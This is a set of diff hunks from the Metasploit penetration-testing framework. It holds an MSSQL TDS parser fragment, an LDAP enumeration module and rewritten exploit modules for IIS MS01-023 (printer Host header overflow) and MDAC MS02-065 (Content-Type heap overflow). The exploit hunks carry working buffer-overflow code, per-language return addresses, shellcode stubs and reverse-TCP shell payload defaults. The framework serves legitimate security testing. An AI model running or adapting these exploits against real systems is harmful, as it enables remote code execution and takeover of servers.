nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -145,7 +145,7 @@ module Msf
|
||||
def default_version_string
|
||||
require 'rex/proto/ssh/connection'
|
||||
Rex::Proto::Ssh::Connection.default_options['local_version']
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
rescue OpenSSL::OpenSSLError => e
|
||||
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
|
||||
@@ -258,6 +258,7 @@ module Msf
|
||||
str = <<~VERSIONS
|
||||
Framework: #{framework.version}
|
||||
Ruby: #{RUBY_DESCRIPTION}
|
||||
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
|
||||
Install Root: #{Msf::Config.install_root}
|
||||
Session Type: #{db_connection_info(framework)}
|
||||
Install Method: #{installation_method}
|
||||
|
||||
@@ -0,0 +1,333 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
require 'json'
|
||||
require 'yaml'
|
||||
|
||||
def initialize(info = {})
|
||||
actions, default_action = initialize_actions
|
||||
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LDAP Query and Enumeration Module',
|
||||
'Description' => %q{
|
||||
This module allows users to query an LDAP server using either a custom LDAP query, or
|
||||
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
|
||||
file containing custom queries to be executed using the RUN_QUERY_FILE action.
|
||||
If this action is specified, then QUERY_FILE_PATH must be a path to the location
|
||||
of this JSON/YAML file on disk.
|
||||
|
||||
Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting
|
||||
the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES
|
||||
to a comma seperated string containing the list of attributes they are interested in obtaining
|
||||
from the results.
|
||||
|
||||
As a third option can run one of several predefined queries by setting ACTION to the
|
||||
appropriate value. These options will be loaded from the ldap_queries_default.yaml file
|
||||
located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.
|
||||
|
||||
All results will be returned to the user in table, CSV or JSON format, depending on the value
|
||||
of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter
|
||||
should multiple items exist within a single column.
|
||||
},
|
||||
'Author' => [
|
||||
'Grant Willcox', # Original module author
|
||||
],
|
||||
'References' => [
|
||||
],
|
||||
'DisclosureDate' => '2022-05-19',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => actions,
|
||||
'DefaultAction' => default_action,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => false
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(389), # Set to 636 for SSL/TLS
|
||||
OptEnum.new('OUTPUT_FORMAT', [true, 'The output format to use', 'table', %w[csv table json]]),
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptPath.new('QUERY_FILE_PATH', [false, 'Path to the JSON or YAML file to load and run queries from'], conditions: %w[ACTION == RUN_QUERY_FILE]),
|
||||
OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]),
|
||||
OptString.new('QUERY_ATTRIBUTES', [false, 'Comma seperated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY])
|
||||
])
|
||||
end
|
||||
|
||||
def initialize_actions
|
||||
user_config_file_path = File.join(::Msf::Config.get_config_root, 'ldap_queries.yaml')
|
||||
default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
|
||||
|
||||
@loaded_queries = safe_load_queries(default_config_file_path) || []
|
||||
if File.exist?(user_config_file_path)
|
||||
@loaded_queries.concat(safe_load_queries(user_config_file_path) || [])
|
||||
else
|
||||
# If the user config file doesn't exist, then initialize it with a sample entry.
|
||||
# Users can adjust this file to overwrite default actions to retrieve different attributes etc by default.
|
||||
template = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_template.yaml')
|
||||
FileUtils.cp(template, user_config_file_path) if File.exist?(template)
|
||||
end
|
||||
|
||||
# Combine the user settings with the default settings and then uniq them such that we only have one copy
|
||||
# of each ACTION, however we use the user's custom settings if they have tweaked anything to prevent overriding
|
||||
# their custom adjustments.
|
||||
@loaded_queries = @loaded_queries.map { |h| [h['action'], h] }.to_h
|
||||
@loaded_queries.select! do |_, entry|
|
||||
if entry['action'].blank?
|
||||
wlog('ldap query entry detected that was missing its action field')
|
||||
return false
|
||||
end
|
||||
|
||||
if %w[RUN_QUERY_FILE RUN_SINGLE_QUERY].include? entry['action']
|
||||
wlog("ldap query entry detected that was using a reserved action name: #{entry['action']}")
|
||||
return false
|
||||
end
|
||||
|
||||
if entry['filter'].blank?
|
||||
wlog('ldap query entry detected that was missing its filter field')
|
||||
return false
|
||||
end
|
||||
|
||||
unless entry['attributes'].is_a? Array
|
||||
wlog('ldap query entry detected that was missing its attributes field')
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
actions = []
|
||||
@loaded_queries.each_value do |entry|
|
||||
actions << [entry['action'], { 'Description' => entry['description'] || '' }]
|
||||
end
|
||||
actions << ['RUN_QUERY_FILE', { 'Description' => 'Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.' }]
|
||||
actions << ['RUN_SINGLE_QUERY', { 'Description' => 'Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES options.' }]
|
||||
actions.sort!
|
||||
|
||||
default_action = 'RUN_QUERY_FILE'
|
||||
unless @loaded_queries.empty? # Aka there is more than just RUN_QUERY_FILE and RUN_SINGLE_QUERY in the actions list...
|
||||
default_action = actions[0][0] # Get the first entry's action name and set this as the default action.
|
||||
end
|
||||
return actions, default_action
|
||||
end
|
||||
|
||||
def safe_load_queries(filename)
|
||||
begin
|
||||
settings = YAML.safe_load(File.binread(filename))
|
||||
rescue StandardError => e
|
||||
elog("Couldn't parse #{filename}", error: e)
|
||||
return
|
||||
end
|
||||
|
||||
return unless settings['queries'].is_a? Array
|
||||
|
||||
settings['queries']
|
||||
end
|
||||
|
||||
def perform_ldap_query(ldap, filter, attributes)
|
||||
returned_entries = ldap.search(base: @base_dn, filter: filter, attributes: attributes)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
case query_result['resultCode']
|
||||
when 0
|
||||
vprint_good('Successfully queried LDAP server!')
|
||||
when 1
|
||||
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
|
||||
fail_with(Failure::NoAccess, query_result['errorMessage'])
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
|
||||
end
|
||||
if returned_entries.nil? || returned_entries.empty?
|
||||
print_error("No results found for #{filter}.")
|
||||
nil
|
||||
else
|
||||
returned_entries
|
||||
end
|
||||
end
|
||||
|
||||
def generate_rex_tables(entries, format)
|
||||
entries.each do |entry|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => entry['dn'][0].split(',').join(' '),
|
||||
'Indent' => 1,
|
||||
'Columns' => %w[Name Attributes]
|
||||
)
|
||||
|
||||
entry.attribute_names.each do |attr|
|
||||
if format == 'table'
|
||||
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||
else
|
||||
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
|
||||
end
|
||||
end
|
||||
|
||||
case format
|
||||
when 'table'
|
||||
print_status(tbl.to_s)
|
||||
when 'csv'
|
||||
print_status(tbl.to_csv)
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def output_json_data(entries)
|
||||
entries.each do |entry|
|
||||
result = ''
|
||||
data = {}
|
||||
entry.attribute_names.each do |attr|
|
||||
data[attr] = entry[attr].join(' || ')
|
||||
end
|
||||
result << JSON.pretty_generate(data) + ",\n"
|
||||
result.gsub!(/},\n$/, '}')
|
||||
print_status(entry['dn'][0].split(',').join(' '))
|
||||
print_line(result)
|
||||
end
|
||||
end
|
||||
|
||||
def output_data_table(entries)
|
||||
generate_rex_tables(entries, 'table')
|
||||
end
|
||||
|
||||
def output_data_csv(entries)
|
||||
generate_rex_tables(entries, 'csv')
|
||||
end
|
||||
|
||||
def show_output(entries)
|
||||
case datastore['OUTPUT_FORMAT']
|
||||
when 'csv'
|
||||
output_data_csv(entries)
|
||||
when 'table'
|
||||
output_data_table(entries)
|
||||
when 'json'
|
||||
output_json_data(entries)
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
|
||||
end
|
||||
end
|
||||
|
||||
def run_queries_from_file(ldap, queries)
|
||||
queries.each do |query|
|
||||
unless query['action'] && query['filter'] && query['attributes']
|
||||
fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
|
||||
end
|
||||
attributes = query['attributes']
|
||||
if attributes.nil? || attributes.empty?
|
||||
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
|
||||
break
|
||||
end
|
||||
filter = Net::LDAP::Filter.construct(query['filter'])
|
||||
print_status("Running #{query['action']}...")
|
||||
entries = perform_ldap_query(ldap, filter, attributes)
|
||||
|
||||
if entries.nil?
|
||||
print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!")
|
||||
next
|
||||
end
|
||||
|
||||
show_output(entries)
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
entries = nil
|
||||
begin
|
||||
ldap_connect do |ldap|
|
||||
bind_result = ldap.as_json['result']['ldap_result']
|
||||
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case bind_result['resultCode']
|
||||
when 0
|
||||
print_good('Successfully bound to the LDAP server!')
|
||||
when 1
|
||||
fail_with(Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage']}")
|
||||
when 7
|
||||
fail_with(Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
|
||||
when 8
|
||||
fail_with(Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage']}")
|
||||
when 14
|
||||
fail_with(Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage']}")
|
||||
when 48
|
||||
fail_with(Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
|
||||
when 49
|
||||
fail_with(Failure::NoAccess, 'Invalid credentials provided!')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage']}")
|
||||
end
|
||||
if (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'RUN_QUERY_FILE'
|
||||
unless datastore['QUERY_FILE_PATH']
|
||||
fail_with(Failure::BadConfig, 'When using the RUN_QUERY_FILE action, one must specify the path to the JASON/YAML file containing the queries via QUERY_FILE_PATH!')
|
||||
end
|
||||
print_status("Loading queries from #{datastore['QUERY_FILE_PATH']}...")
|
||||
|
||||
parsed_queries = safe_load_queries(datastore['QUERY_FILE_PATH']) || []
|
||||
if parsed_queries.empty?
|
||||
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
|
||||
end
|
||||
|
||||
run_queries_from_file(ldap, parsed_queries)
|
||||
return
|
||||
when 'RUN_SINGLE_QUERY'
|
||||
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
|
||||
fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER and QUERY_ATTRIBUTE datastore options!')
|
||||
end
|
||||
|
||||
begin
|
||||
filter = Net::LDAP::Filter.construct(datastore['QUERY_FILTER'])
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter #{datastore['QUERY_FILTER']}. Error was #{e}")
|
||||
end
|
||||
|
||||
print_status("Sending single query #{datastore['QUERY_FILTER']} to the LDAP server...")
|
||||
attributes = datastore['QUERY_ATTRIBUTES'].split(',')
|
||||
if attributes.empty?
|
||||
fail_with(Failure::BadConfig, 'Attributes list is empty as we could not find at least one attribute to filter on!')
|
||||
end
|
||||
entries = perform_ldap_query(ldap, filter, attributes)
|
||||
print_error("No entries could be found for #{datastore['QUERY_FILTER']}!") if entries.nil? || entries.empty?
|
||||
else
|
||||
query = @loaded_queries[datastore['ACTION']]
|
||||
fail_with(Failure::BadConfig, "Invalid action: #{datastore['ACTION']}") unless query
|
||||
|
||||
begin
|
||||
filter = Net::LDAP::Filter.construct(query['filter'])
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter #{query['filter']}. Error was #{e}")
|
||||
end
|
||||
|
||||
entries = perform_ldap_query(ldap, filter, query['attributes'])
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
|
||||
end
|
||||
return if entries.nil? || entries.empty?
|
||||
|
||||
show_output(entries)
|
||||
end
|
||||
end
|
||||
@@ -6,99 +6,124 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in the request processor of
|
||||
the Internet Printing Protocol ISAPI module in IIS. This
|
||||
module works against Windows 2000 service pack 0 and 1. If
|
||||
the service stops responding after a successful compromise,
|
||||
run the exploit a couple more times to completely kill the
|
||||
hung process.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',
|
||||
'Description' => %q{
|
||||
This exploits a buffer overflow in the request processor of the
|
||||
Internet Printing Protocol ISAPI module in IIS. This module
|
||||
works against Windows 2000 Server and Professional SP0-SP1.
|
||||
|
||||
If the service stops responding after a successful compromise,
|
||||
run the exploit a couple more times to completely kill the
|
||||
hung process.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2001-0241'],
|
||||
[ 'OSVDB', '3323'],
|
||||
[ 'BID', '2674'],
|
||||
[ 'MSB', 'MS01-023'],
|
||||
[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 900,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
||||
'StackAdjustment' => -3500,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'Space' => 900,
|
||||
'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows 2000 English SP0-SP1',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Ret' => 0x732c45f3,
|
||||
},
|
||||
],
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'DisclosureDate' => '2001-05-01',
|
||||
'DefaultTarget' => 0))
|
||||
'Targets' => [
|
||||
# jmp esp @ compfilt.dll
|
||||
[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],
|
||||
# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x20
|
||||
[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],
|
||||
[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
# jmp esp @ ws2_32.dll
|
||||
[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],
|
||||
[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],
|
||||
],
|
||||
'Arch' => [ARCH_X86],
|
||||
'Platform' => 'win',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
||||
},
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
},
|
||||
'DefaultTarget' => 4,
|
||||
'DisclosureDate' => '2001-05-01'
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
connect
|
||||
sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n")
|
||||
resp = sock.get_once
|
||||
disconnect
|
||||
res = send_request_cgi({
|
||||
'uri' => '/NULL.printer',
|
||||
'version' => '1.0'
|
||||
})
|
||||
|
||||
if !(resp and resp =~ /Error in web printer/)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
return CheckCode::Safe unless res.code == 500
|
||||
# Error response is language dependent: "<b>Error in web printer install.</b>"
|
||||
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
|
||||
|
||||
connect
|
||||
sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n")
|
||||
resp = sock.get_once
|
||||
disconnect
|
||||
res = send_request_cgi({
|
||||
'uri' => '/NULL.printer',
|
||||
'vhost' => rand_text_alpha(257),
|
||||
'version' => '1.0'
|
||||
})
|
||||
|
||||
if (resp and resp =~ /locked out/)
|
||||
print_status("The IUSER account is locked out, we can't check")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')
|
||||
return CheckCode::Safe unless res.code == 500
|
||||
return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')
|
||||
|
||||
if (resp and resp.index("HTTP/1.1 500") >= 0)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
print_status("Using target: #{target.name} ...")
|
||||
|
||||
buf = make_nops(280)
|
||||
buf[268, 4] = [target.ret].pack('V')
|
||||
buf = make_nops(268)
|
||||
buf << [target.ret].pack('V')
|
||||
buf << make_nops(8)
|
||||
|
||||
# payload is at: [ebx + 96] + 256 + 64
|
||||
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
|
||||
buf << "\x80\xc1\x40" # add cl, 64
|
||||
buf << "\x80\xc5\x01" # add ch, 1
|
||||
buf << "\xff\xe1" # jmp ecx
|
||||
buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]
|
||||
buf << "\x80\xc1\x40" # add cl, 64
|
||||
buf << "\x80\xc5\x01" # add ch, 1
|
||||
buf << "\xff\xe1" # jmp ecx
|
||||
|
||||
sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n")
|
||||
res = send_request_cgi({
|
||||
'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",
|
||||
'version' => '1.0'
|
||||
}, 5)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
# It is expected that we receive no reply. A reply indicates exploit failure.
|
||||
fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res
|
||||
end
|
||||
end
|
||||
|
||||
@@ -8,10 +8,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize
|
||||
def initialize(info = {})
|
||||
super(
|
||||
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
|
||||
'Description' => %q{
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
|
||||
'Description' => %q{
|
||||
This module can be used to execute arbitrary code on IIS servers
|
||||
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
||||
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
|
||||
@@ -19,78 +21,79 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
(handsafe.reg). The service is vulnerable to a heap overflow where
|
||||
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
|
||||
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
|
||||
},
|
||||
'Author' => 'aushack',
|
||||
'Platform' => 'win',
|
||||
'References' =>
|
||||
[
|
||||
},
|
||||
'Author' => 'aushack',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86],
|
||||
'References' => [
|
||||
['OSVDB', '14502'],
|
||||
['BID', '6214'],
|
||||
['CVE', '2002-1142'],
|
||||
['MSB', 'MS02-065'],
|
||||
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
|
||||
'StackAdjustment' => -3500,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/shell/reverse_tcp',
|
||||
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# aushack tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
|
||||
[ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
|
||||
'Targets' => [
|
||||
# jmp eax ws2help.dll
|
||||
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
|
||||
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
|
||||
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
|
||||
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
|
||||
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
|
||||
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
|
||||
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 20 2002'
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2002-11-02',
|
||||
'Notes' => {
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
|
||||
])
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['PATH']),
|
||||
'method' => 'GET',
|
||||
})
|
||||
if (res and res.code == 200)
|
||||
print_status("Server responded with HTTP #{res.code} OK")
|
||||
if (res.body =~ /Content-Type: application\/x-varg/)
|
||||
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
|
||||
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
return CheckCode::Unknown('HTTP server error') if res.code == 500
|
||||
return CheckCode::Safe('Access Forbidden') if res.code == 403
|
||||
|
||||
if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
|
||||
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
sploit = rand_text_alphanumeric(136)
|
||||
sploit[24,2] = Rex::Arch::X86.jmp_short(117)
|
||||
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
|
||||
sploit << [target['Ret']].pack('V')
|
||||
sploit << payload.encoded
|
||||
|
||||
data = 'Content-Type: ' + sploit
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'),
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
},
|
||||
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
|
||||
'method' => 'POST',
|
||||
'data' => "Content-Type: #{sploit}"
|
||||
})
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
||||
